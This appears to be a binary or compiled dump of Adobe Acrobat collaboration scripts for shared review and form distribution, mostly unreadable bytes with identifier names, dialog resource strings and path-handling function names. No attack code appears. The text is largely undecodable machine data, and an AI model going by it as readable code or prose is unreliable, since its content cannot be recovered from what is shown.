�:C�����Q�L����N=WQ�����WZY=]=]�����;5;5]\`Y=]=]= ]!ZY="]=]=#];5$]%\`Y=&];5']=(]\`\])\`Y=*]=+]=,]-�����5.EQ�����;5/;50]\`\wZY=*]=]=,]-�����;5;5]\`Y=]=]= ]!ZY=1]�]2\`Y="]=]=#];5$]%\`Y=&];5']=(]\`\])\`Y=*]=+]=,]-�����5.EQ�����;5/;50]\`\WQY�]3�]4�]5�]6�]�]+�](Y�����5=7$98�8�=9;:�:98�8�=;;:�:]=<]!=]>]=>]>ZY=?]ZY=]=<]!=]=@]=A]B=C]D=E]F;5G]=;5G]>ZY=]=<]!=]X�]2ZY=]=]XX]2C]H;5I]=J]\`\])\`Y=]=<]!=]X�]2V])\`Y=K];5L]M;5N]O\`\])\`\])\`\])\]P\WQ;�

�:Q9Q�Q�V�:WQ;�
�:QV�ϐ�
ʐ�˘�5������������А���ѐ��"���֐��������˘�5��Ј����ѐΐ�ѐ�5kː���@��ː���Ԙ�5�ɐ���R���ʐʐ�萐�ʐʐʐ���ʐʐʐԐ��ʐϐژ�5�ʐʐʐ�5�ʐʐʐ�萐�ʐʐʐ���ʐ̐��ʐʐʐԐ��ʐϐژ�6�ʐʐʐ�혀6��ʘ�6bʘ�6jʘ�6zʘ�6�ʘ�6�ʘ�6�ʘ�6֕���ʐʐ������ʐ���ʐʐʐʐʐʐʐϐϐ���ʐʐʐȐ���ʐʐȐ�ϐژ�7�ʐʐʐȐ͐��ʐϐ���7�ѐ�֐�ѐ���	bIsRemote
reviewTypeSharedReviewappplatformWINserverURL1urn://ns.adobe.com/Collaboration/SharedReview/SMB	beginPrivCollab
isDocReadOnlyANSMBURLToPlatformPathdistributionURL
cDocumentPathendPrivMAC
activeDocstoLowerCasepathstatic_texttypeaNamitem_idAnnotsString+IDS_SHARED_REVIEW_FILE_ERROR_ALTERNATE_NAME4IDS_SHARED_REVIEW_FILE_ERROR_ALTERNATE_LOCATION_NAMEnameview
align_fill	alignment	align_rowalign_children	edit_textfnamisProtectedModeEnabledreadonlybutton
IDS_BROWSEbrwselementsradioovwtoptngroup_idUseDocumentCenter/IDS_SHARED_REVIEW_FILE_ERROR_DUPLICATE_EXISTING/IDS_SHARED_REVIEW_FILE_ERROR_OVERWRITE_EXISTINGgapwidth
initializeidlecheckExtensioncommit	ShareFileSharedString'IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLEWTIDS_SHARED_REVIEW_WIZARD_TITLE
align_leftmargin_width
margin_heightgroupmgrpdialogBackground
back_colortopToBottomgradient_directiondarkToLight
gradient_typewizardMarginWidth	wrap_nameIDS_SHARED_REVIEW_FILE_ERROR_SRtxt0	ok_cancelIDS_CONTINUEok_name
IDS_CANCELcancel_namedescriptionANTrustPropagateAll�����M�'�TdialogtoShowtoLoadlocmsg0�W�_6Y\WQY\WQVQVQ�����B6Q�����VB6Q����� �;�
�:Q;�
�����5�:WQ;�
�:Q9��=	;
�:WQV�
������5�:WQV�
��;
5�:WQVV6QVV6Q�9������5�:WQVB6Q�����5=;
59��=	;
�:WQV�
������5�:WQ�����5-V�
��;
5�:WQ������5x;
5y(;
5yA;
5yZz}V�
��;
5�:WQUV�
��;
5�:WQ-V�
��;
5�:WQVV6QV�����5� 
�����5�!
�="�:?�����5�#�:6Q����� VC6$QT�%
�V�:QT�&
�V�:Q�ʐʐ����А�����ʐ�����ʕ��ѐ�㐈ѐ�ސ�琈㐈̐�ѐ����ᐈʐ�����(���萐���`�����h��6H�h��6M�hʘ�6C����P������P������P��6T�̐����ِ������ʐ���Ӑ�ӈoverwriteIsImplicitovwtapp	beginPrivCollabconvertDIPathToPlatformPath
cDocumentPathendPrivSharedStringIDS_SHARED_REVIEW_FILE_ERRORWTreplace
cDocumentNameAnnotsString&IDS_SHARED_REVIEW_FILE_ERROR_MSG_LOCALtxt0fnamANSMBURLToPlatformPathdistributionURLbrws
reviewType	ShareFileIDS_SHARED_REVIEW_FILE_ERROR_SRUseDocumentCenter#IDS_SHARED_REVIEW_FILE_ERROR_MSG_DC
serverTypeIDS_SHARED_REVIEW_SMB_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEIDS_SHARED_REVIEW_WEBDAV_NAME$IDS_SHARED_REVIEW_FILE_ERROR_MSG_SMB$IDS_SHARED_REVIEW_FILE_ERROR_MSG_SPF#IDS_SHARED_REVIEW_FILE_ERROR_MSG_WD	substringlastIndexOf/lengthaNamloadvisible%proposed_filename%
%location%%proposed_filename%
%location%
%location%
%location%
%location%�����u�dialog�_�`b6T�
�:5=EQT�
�:5&T�
�YB]\�:Q!T�
�YC]\�:Q��!��ᐐ�܈storefnamaNamenableok�����t�&url�`�aj6�����5=	TT�
��: =T�
��:T=UQT=UQT���������������pʐ���p����
reviewType	ShareFilematchpdf.pdf\.pdf$\.$�������pMdialogaPathnewDocumentPathnewRemoteDocumentNamenewDistributionURLb_hz6T�
�:5�����C6Q������B6Q����� �T�
�:5WQA�
�V�:WQ;5=E:QV�
�=	�:�EQV�
�=
�:�D3Q;5=EQV�
�=�:�O�����5
�
�>�����5
�
�=	�:?�:VWQ?;�
�:Q;�
�V�:WQ;�
�:Q�����V6
Q����������5
�
�����5
�
�=	�:?�����5
��:6Q�����5
�����%�����C6Q�����C6Q�;�
�:QT�
�:5WQ;�
�:Q�����5�
�>�����5�
�=	�:?�:VWQ�����V6Q�����A�
�V�:6Q�����Ր����А�	��㕐אԐ���ѐ��J����ː����ѐ�ؐ�ѐ��Ґ��ߐ�����А�՘�6���ѐא�ѐ����Ґ�߈?storeovwtdoOverwritefnamcheckExtensionappplatformWINindexOf/\MAC:
cDocumentPath	substringlastIndexOf	beginPrivCollabconvertPlatformPathToDIPathendPriv
cDocumentNamelengthoverwriteIsImplicitdistributionURLsubstr�����2�dialogtoEnablexh�h�6Y\WQVC6QVC6QT�
�V�:Q�ʐ�ʐ�ʐ�ӈfnambrwsenable�����2�dialogtoEnablei�i�6Y\WQVB6QVB6QT�
�V�:Q�ʐ�ʐ�ʐ�ӈfnambrwsenable�������
1dialogbrowsePropsp�i�k�6����� �YC]�����5]C]\WQ;�
�:Q;�
�V�:WQ;�
�:QVm;�
�:QT�
�Y;	�

�V5�:]\�:Q;�
�:QV5�����Q��������Ӑː���ѐؐ�ѐ����ѐ��ѐ�҈"bSave
cDocumentName
cFilenameInitbUnicodeapp	beginPrivbrowseForDocendPrivloadCollabconvertDIPathToPlatformPathcPathfnam�k����IWShowLocalFolderError��4�-@datadescriptionor��7Y�]�]�]�]�]Y9��=;�:]=	]
=]>]
>]ZY=]ZY=]=	]
=]=]=]=]=];5]
;5]ZY=]=	]
=]X�]ZY=]X�]C];5 ]\`\]!\`Y=]=	]
=]X�]ZY=];5"]\`Y=]=]=#]
ZY=$]=]=%];&5'](\`Y=)];5*]=]\`\]!\`\]!\`Y=+];5,]-;5.]/\`\]!\`\]!\`\]!\]0\WQ;&�1
�:Q92�2�V�:WQ;&�3
�:QV���ʘ�72ʘ�7:ʘ�7Iʘ�7\ʘ�7s�ߐʐʐ������ʐ���ʐʐʐʐʐʐʐϐϐ���ʐʐʐȐ���ʐȐ�ߘ�7��ʐʐʐȐ���ʐԐ��ʐʐʐ���ʐʐʐԐ��ʐϐ嘀7��ʐϐ���7Ȉѐ�֐�ѐ���
initializeidlecheckExtension_DocumentNamecommitbrwsSharedStringIDS_SHARED_REVIEW_WIZARD_TITLEWTname
align_leftalign_children
align_fill	alignmentmargin_width
margin_heightgrouptypeviewmgrpitem_iddialogBackground
back_colortopToBottomgradient_directiondarkToLight
gradient_typeCollabwizardMarginWidthwidthstatic_text	wrap_nameAnnotsString$IDS_SHARED_REVIEW_LOCAL_FOLDER_ERRORelements9IDS_SHARED_REVIEW_LOCAL_FOLDER_ERROR_ENTER_VALID_LOCATION	align_row	edit_textfnamappisProtectedModeEnabledreadonlybutton
IDS_BROWSE	ok_cancelIDS_CONTINUEok_name
IDS_CANCELcancel_namedescription	beginPrivANTrustPropagateAllendPriv�������
)dialogtoShowtoLoadlocmsg0�r	t 7
Y\WQY\WQVQ�����B6QVQ;�
�:Q;�
�����5�:WQ;�
�:QVV6QT�
�V�:QT�	
�V�:Q�ʐʐ��А���ѐ�㐈ѐ�̐���Ӑ�ӈoverwriteIsImplicitapp	beginPrivCollabconvertDIPathToPlatformPath
cDocumentPathendPrivfnamloadvisible�����\�	dialogt�t27T�
�:5=&T�
�YB]\�:Q!T�
�YC]\�:Q��!��ᐐ�܈storefnamenableok�����f�aPath�tv:7T�
��: LT�
�T�?�:=T=UQT�����5UQT�����������p�����p����
matchcharAtlength/
cDocumentName\.pdf$������)!dialogaPath!vExI7	;�
�:Q;�
�T�
�:5�:WQ;�
�:QV=EQV;������A�

�V�:6	Q����������5	�
�����5	�
�=�:?�����5	��:6Q�����5	;%�����C6Q�����C6Q��ѐ萈ѐ�����ߐ��ߐ�����А�Јapp	beginPrivCollabconvertPlatformPathToDIPathstorefnamendPriv	undefined
cDocumentPathcheckExtension_DocumentName
cDocumentName	substringlastIndexOf/lengthfilePathFromSaveAsDialogoverwriteIsImplicitdoOverwrite�������+dialogbrowsePropsp^xz\7YC]�����5]C]\WQ;�
�:Q;�
�V�:WQ;�
�:QVn;�
�:QT�
�Y;	�

�V5�:]\�:Q;�
�:Qn
V5o
Q����Ӑː���ѐؐ�ѐ����ѐ��ѐ�ӈ"bSave
cDocumentName
cFilenameInitbUnicodeapp	beginPrivbrowseForDocendPrivloadCollabconvertDIPathToPlatformPathcPathfnamfilePathFromSaveAsDialog����IWShowFolderError��/�/@data	bIsRemotedescription �˕�7j�����QY�]�]�]�]Y9��=;�:]=	]
=]ZY=
]ZY=]=	]
ZY=]=];5]C]9��=;�:]=]\`Y=]=]9��=;�:]=]\`Y=]=]=]
ZY=]=]=]\`Y=];5]=]\`\] \`Y=]=];5!]="]\`Y=]=]9��=#;�:]=$]\`\] \`Y=%];5&]';5(])\`\] \`\] \]*\WQ;+�,
�:Q9-�-�V�:WQ;+�.
�:QV��
ʐ��ʘ�7�ʘ�7�ʘ�8ʘ�8@�ߐʐʐ���ʐ���ʐʐ���ʐʐϐ�ߐϐ���ʐʐߐϐ���ʐʐʐ���ʐʐϐ��ʐϐژ�8q�ʐʐϐϐ��ʐʐߐژ�8��ʐϐ�8��ѐ�֐�ѐ���	bIsRemote
initializeidlecommitbrwsSharedStringIDS_SHARED_REVIEW_WIZARD_TITLEWTname
align_leftalign_children
align_fill	alignmentgrouptypeviewstatic_textCollabwizardWidthwidth	wrap_name"IDS_SHARED_REVIEW_FILE_ERROR_LOCALtxt0item_id+IDS_SHARED_REVIEW_FILE_ERROR_LOCAL_LOCATIONtxt1	align_row	edit_textfnambuttonAnnotsString
IDS_BROWSEelements5IDS_SHARED_REVIEW_FILE_ERROR_REMOTE_ORIGINAL_LOCATIONorig(IDS_SHARED_REVIEW_FILE_ERROR_REMOTE_NOTEaNte	ok_cancelIDS_CONTINUEok_name
IDS_CANCELcancel_namedescriptionapp	beginPrivANTrustPropagateAllendPriv�����>�EdialogtoShowtoLoadlocmsg0��/��7Y\WQY\WQVQVQ����� �����5�
�>�����5�
�=�:?�:WQ;�
�:Q;�
�V�:WQ;�
�:QVB6	QVB6
Q9��=;
�:WQV�
������5�:WQVV6QVV6QT�
�V�:QT�
�V�:Q�ʐʐ�����������ѐ�ؐ�ѐ���ʐ�ʐ�ސ�琈̐���̐�Ӑ�ӈ
cDocumentPathsubstrlastIndexOf/app	beginPrivCollabconvertDIPathToPlatformPathendPrivorigaNteSharedString"IDS_SHARED_REVIEW_FILE_ERROR_LOCALWTreplace
cDocumentNametxt0fnamloadvisible%proposed_filename%������dialogE�f��7��������
�4dialog	folderURI����7����� �;�
�:Q;�
�T�
�:5�:WQ;�
�:QV=EQV;tV�	
�V�
?�:=V=WQ�����V6Q����������5�����5
6Q'�����T�
�:56Q����ە��ѐ萈ѐ�������	�p��Ґ��8���.app	beginPrivCollabconvertPlatformPathToDIPathstorefnamendPriv	undefinedcharAtlength/
cDocumentPath
cDocumentNamedistributionURL�����/�}8dialogbrowseProps	folderURIerrMsg,��8����� $Y�����5]C]\WQ�9��=�:Q;�
�:Q;�
�:WQ;�	
�:Q9��=
V�:QVEQV�>6V�
�V�?�:=
V=
WQ9��=V�:Q;�
�:QT�
�Y;�
�V�:]\�:Q;�	
�:Q��vWQV5=�VQ9��V5�:F?,;5WQ+;5WQ;5WQ;�
�:Q;�
�V�:Q;�	
�:Q9��=�:Q��������Ӑː����Ր�ѐԐ�ѐ�ِ�������p���ِ�ѐ��x��ʐ������XRِ���	ΐP���	ΐP���	ΐP����ѐ�Ր�ѐ�Հ{���
cDocumentName
cFilenameInitbUnicode
DebugAlert
trying browseapp	beginPrivCollabbrowseForFolderendPriv1lengthcharAt/2loadconvertDIPathToPlatformPathfnammessageVolume Mount ExceptionNumber	errorCodeAnnotsString#IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR$IDS_SHARED_REVIEW_VOLUME_MOUNT_ERRORIDS_SHARED_REVIEW_VOLUME_ERRORalert
DebugThrow
VolMountError����e3����
getnextnumbers�'
currentNumber
nextNumber�&��8T?WQV�
=VWQMV�d=VWQ0VX�=VWQ=VWQV�ɐ���Ґ���Ґ���Ґ��͐���_000_00_0_����populateFilesAtDocCenter��&datafilename	beginwithregk�Ԙ�8=WQT�
��=�:WQ9��=T�:QT5q;�
�:Q=V=WQn	T5�

�V�:o	Q9��;	�:Q;�
�:Q�ɐ�ސ�ِ�����ѐӐ�␈Ր��шreplace
DebugAlert#populateFilesAtDocCenter filename :swConnapp	beginPriv^.*\.pdf$filesAtDocCentergetMatchingFilesendPriv.pdf$����isValidSaveLocationAtDocCtrz�filename��f��8;KgmMn�oQ9��=;=T�:Q;;7�
�:T�
�:	B�N��L����NC�7jԐ��吐����zː����filesAtDocCenterfile
DebugAlertfile :, filename :toLowerCasej����SilentDocCenterLogin���_data
connectParams
isFirstLaunchaddStringToPayloadParams9�Х�8BWQ;�
�:Q;�
�T5�:WQ;�
�:Q;�
�:QT;�
�:6Q;�
�:QVTC6QBT5=	DQT5=
Y\WQV=6Q�;�
�:Qn
;�
�T�:o
Q;�
�:Q;
�T;
6
Q;�
�:Q;T56Q;T5
�
�:6Q;C6Q;�
�:QT5=	DQT5=
JV=6Q;�
�:Q;�
�V�:Q;�
�:QCsT5=	DQT5=
JV=6Q;�
�:Q;�
�V�:Q;�
�:QB^�vWQT5=	DQT5=
JV=6Q;�
�:Q;�
�V�:Q;�
�:Q9��V�:QV5X�DQV5X�T;56Q�V5X�T;56QbV5X�T;56Q9V5>DQV5X�T;56QB�������ѐ�ݐ�ѐ��ѐ�ِ�ѐ����ʐ������ʐ�ΐ����ѐ�ߐ�ѐ���ΐ��ѐ�Ӑ�ސ�̐�ѐ����
ΐ��ѐ�Ր�ѐ����������
ΐ��ѐ�Ր�ѐ��z���ʐ�����
ΐ��ѐ�Ր�ѐ��Ӑ����ؐ������ؐ�����ؐ�����Ӑ��z�{��app	beginPrivCollab
isFirstLaunchWTendPrivusergetUserIDFromStore
reviewTypeSharedReviewFormDistributionnameAuthentication_SuccessfulswConn	swConnect
shareIdentityEmailFullNamegetFullName
AuthenticatedvalTrueAVUMAddStringToPayloadWrapperFalse	ANDumpObj	errorCode
authStatusAnnotsString7IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD3IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIRED2IDS_SHARED_REVIEW_DOC_CENTER_STATUS_CANNOT_CONNECT����e���������,datacDefaultLinkcURL�o�#9	T555WQV�
�V�?�:=V=WQV9��T5�:WQV=T5	=
=WQV�XX;�
�:Q;�
�;5�:Q;�
�:Q9��=�:Q��֐����p�ߐ��p�������
ѐ�ܐ�ѐ�ՈserverSettingscSettingcharAtlength/getAsciiSafeDocName
cDocumentName__reviewID_attachments+_0-05ac777c-f1ef-4ab3-80c8-9114025d1c89_binapp	beginPrivalertAnnotsString,IDS_SHARED_REVIEW_DISTRIBUTION_LONG_FILENAMEendPriv
DebugThrowBadLocation����getAsciiSafeDocNamej�docNameresultescaped����69TWQ9��T�:WQVTAV�
��=�:WQV�
��=�:WQV��֐���ސ�ސ���escapereplace00$1\%u\%([0-9A-F][0-9A-F])���� DistributionServerStepCommitWork-�g��dataicDefaultLink
locationProps
validLocationerrorSameLocationmsg
fileErrorDescresultdcURLnewDocumentPathvalidFolderLocationorigDocPathorigDocNamefolderErrorDescfolderErrorResultlocationPropsSavePathlocationPropsDatasetPathsaveDocNamedatasetDocNameoldNameoldPathnewPathsequence��z
A9 T5=DQT5=E-QT5;EQT55=DQT55=
ET9	�	�T55
5�:6QTT55
6QT5;ST5K;mMWQVT55TT5V756Q�L����NTT56QT5=D-QT5=EQT55=hT55
5WQV�
�V�?�:=V=WQVT5WQTV6QT5=	�T5=DQT5=EQT5 fT5=EQT5;5:;�
�:Q9 � �T�:Q;�!
�:QT5=DQT55=	:T5 �Y\WQBWQT5="~T55=V=$6#Q=T55
5%V=&6#QV="6#QVT56'Qi;�
�:QV;(�)
�9*�*�T5�:�:6'Q;�!
�:QVT56#QV9,�,�T5�:6+QVV5'6-QBWQ�;�
�:Q;(�.
�V�:EQ;�/
�V�:WQ;�!
�:QVE=QT5BE-QT5;5EQT5=T90�0�T55
5�T�:QT51CCWQ92�2�=3�:Q��vWQ94�4�=5V56�:QVQV56�;57WQwV56�;58WQTV59=:;5;WQ.V;5<WQ;5=WQ;�>
�V�:Q92�2�=?�:Q�VE-QT5=EQT5;5:;�
�:Q9 � �T�:Q;�!
�:Q?m9@�@�T�C�:WQ;�
�:Q;�A
�V�:WQ;�!
�:QV=B�T5CCWQ�T5="ST55
5%V=&6#QV="6#QVT56'Qi;�
�:QV;(�)
�9*�*�T5�:�:6'Q;�!
�:QVT56#QV9,�,�T5�:6+QVV5'6-Q�;�
�:Q;(�.
�V�:EQ;�/
�V�:WQ;�!
�:Q��vWQ94�4�=5V56�:QVQV56�;57WQ\V56�;58WQ9V59=:;5;WQ;5=WQ;�>
�V�:Q92�2�=?�:Q�VE-QT5=EQT5;5:;�
�:Q9 � �T�:Q;�!
�:Q/V=DCWQ92�2�=E�:Q�V �����;�
�:Q;(5FWQ;�!
�:QV�
�V�?�:=V=WQVT5WQTV6QT5GB;�
�:QT5G�H
�T5�: WQ;�!
�:Q�m9@�@�T�C�:WQ;�
�:Q;�A
�V�:WQ;�!
�:QV=BdT5CCWQH;�
�:QT5G�H
�T5�: WQ;�!
�:Q/V=DCWQ92�2�=E�:Q�V ���TT5�I
�T5�J
�=�:?�T5��:6QT5K�L
�>�T5K�J
�=�:?�:T5W	QTV	6KQT5=�Y\WQ94�4�=MT5K�:QVT5K6'Q;�
�:QV;(�N
�T5K�:6+Q;�!
�:QV@6#QVV5'6-QBWQ�;�
�:Q;(�.
�V�:EQ;�/
�V�:WQ;�!
�:Q�vWQ94�4�=5V56�:QVQV56�kBW
Q94�4�=O�:QT5KWQT5WQ$m9P�P�T�:W
Q;�
�:Q;�A
�V
�:WQ;�!
�:QV=B�VT5K6'Q;�
�:QV;(�N
�T5K�:6+Q;�!
�:QV@6#QVV5'6-Q�;�
�:Q;(�.
�V�:EQ;�/
�V�:WQ;�!
�:QCW
Q��vWQVQV56�BW
Q�CW
QV56�;57WQ;5=WQ;�>
�V�:Q94�4�=Q�:QTV6KQTV6Q92�2�=?�:Q�3V=DCWQ92�2�=E�:Q����V
 ����`V56�;57WQ;5=WQ;�>
�V�:Q92�2�=?�:Q�T5R
CWQ)m9@�@�T�B�:WQ;�
�:Q;�A
�V�:WQ;�!
�:QV=B�T5CCWQ�VT5K6'Q;�
�:QV;(�N
�T5K�:6+Q;�!
�:QV@6#QVV5'6-Q�;�
�:Q;(�.
�V�:EQ;�/
�V�:WQ;�!
�:Q��vWQ94�4�=5V56�:QVQV56�;57WQ6V56�;58WQ;5=WQ;�>
�V�:Q92�2�=?�:Q�/V=DCWQ92�2�=E�:Q�V ����T5R \TV5'6KQTT5K�I
�T5K�J
�=�:?�T5K��:6QT5=sY\WQ94�4�=S�:QT5KWQBWQ�mVT5K6'Q;�
�:QV;(�N
�T5K�:6+Q;�!
�:QV@6#QVV5'6-Q94�4�=TT5K�:Q�;�
�:Q;(�.
�V�:WQ;�!
�:Q��vWQ94�4�=5V56�:QVQV56�BW
Qm9U�U�T�B�:W
Q;�
�:Q;�A
�V
�:WQ;�!
�:QV=BqVT5K6'Q;�
�:QV;(�N
�T5K�:6+Q;�!
�:QV@6#QVV5'6-Q�;�
�:Q;(�.
�V�:WQ;�!
�:QCW
Q��vWQVQV56�BW
Q�CW
QV56�;57WQ;5=WQ;�>
�V�:Q94�4�=V�:QTV6KQ92�2�=?�:Q�3V=DCWQ92�2�=E�:Q����V
 ����`V56�;57WQ;5=WQ;�>
�V�:Q92�2�=?�:Q��V ���vBWQY\WQY\WQVQVQT5W5XWQT5KWQV�I
�>�V�J
�=�:?�:WQV�Y
��=Z�:;5[=\WQV�Y
��=Z�:;5]=\WQ>WQT59^�^�T�V�:QGmVVV6'QV@6#QVV5'6-Q;�
�:QV;(�N
�V5-�:6+Q;�!
�:Q94�4�=_V5-�:QVVV6'QV@6#QVV5'6-Q;�
�:QV;(�N
�V5-�:6+Q;�!
�:Q94�4�=`V5-�:Q�;�
�:Q;�/
�V�:EQ;�/
�V�:WQ;�!
�:Q��vWQ94�4�=5V56�:QVQV56�;57WQ6V56�;58WQ;5=WQ;�>
�V�:Q94�4�=V�:QTV6KQ92�2�=?�:Q�VEQT539a�a�V�:EQ9a�a�V�:WQV �nb9c�c�V�:obQ94�4�=d;b�:QV�Y
��=Z�:;5[;b=\WQV�Y
��=Z�:;5];b=\WQV#?WQ�V ����TV5'6KQTT5K�I
�T5K�J
�=�:?�T5K��:6QTV5'6eQ94�4�=fT5�:Q�������9J��ꐈ֘�9P����0>ː�����㘀9[�ѐ�����֐���	�p���p��̐������X�������ѐ�Ӑ�ѐ��������Е�ʐ��9{�y�����Ӑ���Ӑ��ΐ�֐����ѐ��ѐ�ѐ����ѐ����ѐ��ڐؐ�ј�9��	������������x��9�ʐ��9��ސ�����	Ӑ���	Ӑ���	Ӑ��Ӑ��	ΐ��Ր�Հ{�������ѐ�Ӑ�ѐ�(�E�����9Ȑؐ��ѐؐ�ѐ�������
���ʐ������N�����	Ӑ��	ΐ�֐����ѐ��ѐ�ѐ����ѐ����ѐ�ڐؐ��x��ʐ��9��ސ�����Ӑ���Ӑ���Ӑ��ΐ��Ր�Հ{������ѐ�Ӑ�֘�:��������Ր����9LjИ�:��:$�ѐΐ�ѐ�����p��А��̐�����ѐ�ᐈѐ��(�������:6�ؐ��ѐؐ�ѐ��_���
���ʐ����ѐ��ᐈ֘�:K��������Ր����:5�˘�:Y������̘�:`���ʐ�ސ�ѐ�ѐ�␈ѐ�ʐ��ѐ������ѐ�ڐؐ��x��ʐ��:{�ސ����f���:���:��Ր̐̐�(�*�����:��֐��ѐؐ�ѐ�������ѐ�ѐ�␈ѐ�ʐ�ѐ����ѐ�ڐؐ�ј�:��}��ʐ��:���
���ʐ��������Ӑ��ΐ��Ր���Ր�̐�̐��Հ{˘�:ɐ�������Ր��z��:��И�:Ր���Ӑ��ΐ��Ր�Հ{��:������(�/�����:�ؐ��ѐؐ�ѐ�������
���ʐ����ѐ�ѐ�␈ѐ�ʐ�ѐ����ѐ�ڐؐ��x��ʐ��;�ސ�����
Ӑ���
Ӑ��
ΐ��Ր�Հ{˘�;��������Ր����:�	˘�;"�����ѐ����;6���ʘ�;=�Ր̐���(�������;C��ѐ�ѐ�␈ѐ�ʐ��ѐ�ސ���ѐ�ؐ����x���ʐ��;[�ސ�������;d�(������;f�ؐ��ѐؐ�ѐ���l���ѐ�ѐ�␈ѐ�ʐ�ѐ����ѐ�ؐ�ј�;~�}��ʐ��;���
���	ʐ����	����
Ӑ��
ΐ��	Ր���Ր�̐��	Հ{˘�;���������Ր��z��;e�И�;�����	Ӑ��	ΐ��Ր�Հ{��;B�	˘�;����ʐʐ����ѐ̐됐��������א��(�M�����;А�А�ʐ�ѐ�ѐ�␈ѐ��ސ���А�ʐ�ѐ�ѐ�␈ѐ��ސ����ѐ�ڐؐ��x��ʐ��;�ސ�����Ӑ���Ӑ��ΐ��Ր���
Ր�
̐��Հ{��<����ؐ֐������ݐ�ې�������ʘ�;ψ	˘�<�ѐ����ј�<�ވ6
reviewTypeFormDistributionFormDistributionEmailserver	undefinedURL,urn://ns.adobe.com/Collaboration/Forms/Email5urn://ns.adobe.com/Collaboration/Forms/InternalServerdistributionFSgetFSSettingscSettingdistributionMethod
DistMethod
serverTypedrivers
initiatorName
cDocumentNameUPLOADSharedReview8urn://ns.adobe.com/Collaboration/SharedReview/SharepointcharAtlength/distributionURLEMAILMANUALUseDocumentCenterAnnotsStringIDS_SHARED_REVIEW_SMB_NAMEapp	beginPrivlongFileNameendPrivCHTTPcFSCSP#bUseWindowsIntegratedAuthenticationCSSO	cFilePathCollaburiToDIPathencodeURIComponentcDisplayANSMBURLToPlatformPathcPathisPathWritableisValidSaveLocationglobalCheckForSameSMBLocation/Error_DocumentLocationAndRepositoryLocationSame
DebugThrowCannot choose same folder
DebugAlerterror code:	errorCode+IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME+IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIEDname
RangeError,IDS_SHARED_REVIEW_DISTRIBUTION_LONG_FILENAME9IDS_SHARED_REVIEW_ERROR_SAME_LOCATION_FOR_FILE_REPOSITORY+IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATIONalertBadLocationIWShowFileError
execDialogokdoOverwritecancelExit the wizard
docCenterURLswConn
fileExists	substringlastIndexOf
cDocumentPathsubstrdata.cDocumentPathconvertDIPathToPlatformPath-creating copy of orig Document Path and name.IWShowLocalFolderError2restore the original documentPath and documentNameoverwriteIsImplicit$creating copy of orig Document Path.data.cDocumentPath IWShowFolderError!restore the original documentPathdocdocumentFileNamereplaceIDS_SHARED_REVIEW_FILE_EXT_FD.pdf&IDS_SHARED_REVIEW_DATA_SET_FILE_EXT_FDpopulateFilesAtDocCenter)Isvalidsave location: data.cDocumentPath 2. data.cDocumentPath isValidSaveLocationAtDocCtr
nextNumber
getnextnumbernextNumber cDataSetPathdata.cdocumentname����e����e����ee����e����ee����e.pdf$.pdf$.pdf$.pdf$YMuY��e?��D�/�Y�YO
*^M
�1E�Y���>����RemoveWebdav�elementindexarray�
<T5=��ψOURL4urn://ns.adobe.com/Collaboration/SharedReview/WebDAV������
�h\
�
reviewType	checkSizeoA_EmailDistribute_110x64_NoA_EmailRespond_110x64_NoA_EmailCollect_110x64_N(oA_SharedReviewServerDistribute_110x64_N%oA_SharedReviewServerComment_110x64_N%oA_SharedReviewServerCollect_110x64_NoA_ServerDistribute_110x64_NoA_ServerRespond_110x64_NoA_ServerCollect_110x64_N)oA_SharedReviewAcrobatDistribute_110x64_N&oA_SharedReviewAcrobatComment_110x64_N&oA_SharedReviewAcrobatCollect_110x64_NoA_AcrobatDistribute_110x64_NoA_AcrobatRespond_110x64_NoA_AcrobatCollect_110x64_NmaxStringWidthdesiredPopupWidthdescriptionJs�)<+�;�
�=�:�����Q;�
�=�:�����Q;�
�=�:�����Q;�
�=�:�����Q;�
�=�:�����Q;�
�=�:�����Q;�
�=�:�����Q;�
�=	�:�	����Q;�
�=
�:�
����Q;�
�=�:�����Q;�
�=�:�����Q;�
�=
�:�
����Q;�
�=�:�����Q;�
�=�:�����Q;�
�=�:�����QYZY9��=;�:]\`Y9��=;�:]\`Y;5]\`\]\WQYZV`X�`\]\WQY�]�]�]�]�]�]�] �]!�]"ZY=#]$;5%]&;5'](=)]*=+],ZY=#]$;5%�;5-]&=)]*=+],�].;5-]/=0]1=2]3ZY=4]$=5]6=+],=7]1=8]9C]:\`Y=#]$;5%�;5-]&=;]*=+],ZY=<]$X�]&=]1\`\]=\`\]=\`Y=#]$;5%�;5-]&;5-]/=)]*=+],ZY=#]$=>]*=+],ZY=#]$=)]*=+],ZY=?]$�](\`Y=#]$=>]*=+],ZY=?]$�n]&\`Y=?]$�]&\`Y=4]$;5@]6=A]1C]:=8]9Xr]&=B]C\`\]=\`Y=#]$=>]*=+],ZY=D]$=E]1�n]&�@](\`Y=?]$�]&\`Y=#]$=)]*=+],ZY=4]$9��=F;�:]6C]:=8]9\`Y=#]$=>]*ZY=4]$;5G]6\`Y=#]$=)]*=+],ZY=4]$=H]19��=I;�:]6C]JXr]&\`Y=#]$=;]*ZY=4]$=K]1;5L]6\`Y=4]$=M]1=5]6=+],=B]CX]&\`\]=\`\]=\`\]=\`\]=\`\]=\`Y=#]$=>]*=+],ZY=D]$=N]1�n]&�@](\`Y=?]$�]&\`Y=#]$=)]*=+],ZY=4]$9��=O;�:]6C]:=8]9\`Y=#]$=>]*ZY=4]$;5G]6\`Y=4]$9��=P;Q;�:]6=R]1C]JXr]&\`\]=\`Y=#]$=>]*ZY=4]$;5G]6\`Y=4]$9��=S;�:]6=T]1C]JXr]&\`\]=\`Y=?]$�](\`\]=\`\]=\`Y=#]$=>]*=+],ZY=D]$=U]1�n]&�@](\`Y=?]$�]&\`Y=#]$=)]*=+],ZY=4]$9��=V;�:]6C]:=8]9\`Y=#]$=>]*ZY=4]$;5G]6\`Y=4]$9��=W;Q;�:]6=X]1C]JXr]&\`\]=\`Y=#]$=>]*ZY=4]$;5G]6=Y]1\`Y=4]$;Z5[=\$9��=];�:9��=];�:]6=^]1C]JXr]&\`\]=\`Y=_]$;5`]6=+],=]1\`\]=\`\]=\`\]=\`\]=\`Y=a]$;5b]6=+],=c]1\`\]=\`\]=\`\]d\WQ;